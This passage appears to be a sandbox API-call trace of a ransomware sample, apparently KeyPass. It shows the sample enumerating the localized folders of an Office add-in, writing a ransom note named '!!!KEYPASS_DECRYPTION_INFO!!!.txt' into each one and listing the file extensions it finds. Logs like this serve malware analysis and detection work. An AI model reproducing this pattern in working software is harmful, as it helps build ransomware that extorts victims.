GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.793] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.793] WriteFile (in: hFile=0x650, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.793] WriteFile (in: hFile=0x650, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.794] CloseHandle (hObject=0x650) returned 1 [0245.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef93c8 [0245.794] FindNextFileW (in: hFindFile=0x2ef93c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.794] FindNextFileW (in: hFindFile=0x2ef93c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.794] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.794] FindNextFileW (in: hFindFile=0x2ef93c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.794] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.794] FindNextFileW (in: hFindFile=0x2ef93c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.794] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.794] FindNextFileW (in: hFindFile=0x2ef93c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.794] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.794] FindNextFileW (in: hFindFile=0x2ef93c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.794] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.794] FindNextFileW (in: hFindFile=0x2ef93c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.794] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.794] FindNextFileW (in: hFindFile=0x2ef93c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.794] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.795] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.795] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3893748 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.795] GetLastError () returned 0x3f0 [0245.795] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.795] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bn-in\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x658 [0245.820] GetFileType (hFile=0x658) returned 0x1 [0245.820] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.820] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.820] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.820] WriteFile (in: hFile=0x658, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.821] WriteFile (in: hFile=0x658, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.821] CloseHandle (hObject=0x658) returned 1 [0245.821] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9688 [0245.822] FindNextFileW (in: hFindFile=0x2ef9688, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.822] FindNextFileW (in: hFindFile=0x2ef9688, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.822] FindNextFileW (in: hFindFile=0x2ef9688, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.822] FindNextFileW (in: hFindFile=0x2ef9688, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.822] FindNextFileW (in: hFindFile=0x2ef9688, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.822] FindNextFileW (in: hFindFile=0x2ef9688, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.822] FindNextFileW (in: hFindFile=0x2ef9688, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.822] FindNextFileW (in: hFindFile=0x2ef9688, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.822] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.822] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.822] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38b98b8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.822] GetLastError () returned 0x3f0 [0245.822] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.822] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bs-latn-ba\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x65c [0245.826] GetFileType (hFile=0x65c) returned 0x1 [0245.826] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.826] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.826] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.826] WriteFile (in: hFile=0x65c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.827] WriteFile (in: hFile=0x65c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.827] CloseHandle (hObject=0x65c) returned 1 [0245.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9448 [0245.829] FindNextFileW (in: hFindFile=0x2ef9448, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.829] FindNextFileW (in: hFindFile=0x2ef9448, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.830] FindNextFileW (in: hFindFile=0x2ef9448, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.830] FindNextFileW (in: hFindFile=0x2ef9448, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.830] FindNextFileW (in: hFindFile=0x2ef9448, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.830] FindNextFileW (in: hFindFile=0x2ef9448, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.830] FindNextFileW (in: hFindFile=0x2ef9448, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.830] FindNextFileW (in: hFindFile=0x2ef9448, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.830] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.830] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.830] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38b98b8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.830] GetLastError () returned 0x3f0 [0245.830] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.830] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x664 [0245.866] GetFileType (hFile=0x664) returned 0x1 [0245.866] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.866] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.866] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.866] WriteFile (in: hFile=0x664, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.867] WriteFile (in: hFile=0x664, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.867] CloseHandle (hObject=0x664) returned 1 [0245.868] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef95c8 [0245.868] FindNextFileW (in: hFindFile=0x2ef95c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.868] FindNextFileW (in: hFindFile=0x2ef95c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.868] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.868] FindNextFileW (in: hFindFile=0x2ef95c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.868] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0245.868] FindNextFileW (in: hFindFile=0x2ef95c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.868] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.868] FindNextFileW (in: hFindFile=0x2ef95c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.868] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.868] FindNextFileW (in: hFindFile=0x2ef95c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.868] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.868] FindNextFileW (in: hFindFile=0x2ef95c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.868] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.868] FindNextFileW (in: hFindFile=0x2ef95c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.868] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.868] FindNextFileW (in: hFindFile=0x2ef95c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.869] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0245.869] FindNextFileW (in: hFindFile=0x2ef95c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.869] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0245.869] FindNextFileW (in: hFindFile=0x2ef95c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.869] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0245.869] FindNextFileW (in: hFindFile=0x2ef95c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.869] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.869] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.869] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38ba498 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.869] GetLastError () returned 0x3f0 [0245.869] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.869] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca-es-valencia\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x668 [0245.907] GetFileType (hFile=0x668) returned 0x1 [0245.908] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.908] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.908] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.908] WriteFile (in: hFile=0x668, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.909] WriteFile (in: hFile=0x668, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.909] CloseHandle (hObject=0x668) returned 1 [0245.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9308 [0245.909] FindNextFileW (in: hFindFile=0x2ef9308, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.909] FindNextFileW (in: hFindFile=0x2ef9308, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.909] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.909] FindNextFileW (in: hFindFile=0x2ef9308, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.909] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.909] FindNextFileW (in: hFindFile=0x2ef9308, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.909] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.909] FindNextFileW (in: hFindFile=0x2ef9308, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.910] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.910] FindNextFileW (in: hFindFile=0x2ef9308, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.910] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.910] FindNextFileW (in: hFindFile=0x2ef9308, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.910] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.910] FindNextFileW (in: hFindFile=0x2ef9308, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.910] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.910] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.910] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.910] GetLastError () returned 0x3f0 [0245.910] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft 